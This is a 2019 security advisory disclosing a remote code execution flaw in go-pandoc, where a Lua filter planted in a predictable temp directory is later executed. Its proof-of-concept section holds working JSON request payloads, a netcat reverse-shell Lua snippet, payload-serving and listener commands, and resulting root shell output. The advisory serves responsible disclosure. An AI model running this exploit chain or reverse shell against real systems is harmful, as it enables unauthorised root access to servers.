Jan 29 2019

[Go-pandoc](https://github.com/gogap/go-pandoc) is vulnerable to remote code execution through a user included LUA filter. An attacker can upload a LUA file to a known location on the file system due to a predictable temporary directory being used when handling certain file type includes. The uploaded LUA file can then be used as a filter in a subsequent request, allowing for the execution of arbitrary LUA code.

**Date Released:** 29/01/2019

**Author:** Denis Andzakovic

**Project Website:** [https://github.com/gogap/go-pandoc](https://github.com/gogap/go-pandoc)

**Affected Software:** Go-pandoc

## Details

The go-pandoc library uses the `toCommandFileArgs` method to download metadata, template, syntax-definition and include files from user specified URLs. These files are downloaded into the `/tmp/go-pandoc/` directory. By specifying an attacker controlled URL in one of the parameters, an attacker can coerce the go-pandoc library to download a malicious LUA filter. This temporary file is deleted after the processing is completed, however the attacker can specify a second parameter (such as a syntax-definition) and hold the connection open. This results in the file remaining in the `/tmp/go-pandoc/` directory long enough to trigger a second request to use the malicious filter.

## Proof-of-Concept Exploit

The POC was staged against `go-pandoc` running in a docker container (`docker run -it -d -p 8080:8080 idocking/go-pandoc:latest ./go-pandoc run`). Curl is used to send the two requests, one to upload the file and the other to trigger the malicious LUA filter. Netcat is used as a simple web server that will serve one file and hold any subsequent connections open with no data. The payload is a reverse shell using netcat.

The following figure shows the payload to upload the malicious file (`load.json`):

```
{"fetcher": {
"name": "data",
"params": {
"data": "IyMjIEhlbGxvCgo+IEdvLVBhbmRvYw=="
}
},
"converter":{
"from": "markdown",
    "to" : "pdf",
    "standalone": true,
    "template": "http://172.17.0.1:8000/rce_poc.lua",
    "syntax_definition": "http://172.17.0.1:8000/rce_poc.lua"
},
"template": "binary"
}
```

The following figure shows the execution payload (`exec.json`):

```
{
"fetcher": {
"name": "data",
"params": {
"data": "IyMjIEhlbGxvCgo+IEdvLVBhbmRvYw=="
}
},
"converter":{
    "from": "markdown",
    "to" : "pdf",
    "standalone": true,
    "lua_filter": "/tmp/go-pandoc/rce_poc.lua"
},
"template": "binary"
}
```

The following LUA snippet was used in `rce_poc.lua`:

```
return {
	os.execute ("/usr/bin/nc 172.17.0.1 8011 -e /bin/bash")
}
```

The malicious LUA file is served using a netcat webserver (`{ echo -ne "HTTP/1.0 200 OK\r\nContent-Length: $(wc -c < rce_poc.lua)\r\n\r\n"; cat rce_poc.lua; } | nc -k -l -p 8000`) and a reverse shell listener is created using `nc -v -k -l -p 8011`.

The following command will send the two requests, uploading and triggering the malicious filter:

```
curl -X POST http://127.0.0.1:8080/v1/convert -H 'content-type: application/json' -d @load.json & sleep 1; curl -X POST http://127.0.0.1:8080/v1/convert -H 'content-type: application/json' -d @exec.json
```

The above resulted in the execution of the LUA filter and a reverse shell:

```
doi@ubuntu:~$ nc -vv -k -l -p 8011
Listening on [0.0.0.0] (family 0, port 8011)
Connection from 172.17.0.2 36905 received!
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
uname -a
Linux c5d782b5a561 4.15.0-43-generic #46-Ubuntu SMP Thu Dec 6 14:45:28 UTC 2018 x86_64 Linux
pwd
/app
```

## Patch

This vulnerability was resolved by commit `540666673c6e5918ef8c81e8d35003e22fde51f4`. Go-pandoc now disables the `filter` and `lua_filter` by default, requiring a configuration change to re-enable the parameters.

## Timeline

25/01/2019 - Email address requested on Github

27/01/2019 - Advisory sent

28/01/2019 - Patches commited to GitHub

29/01/2019 - Advisory released
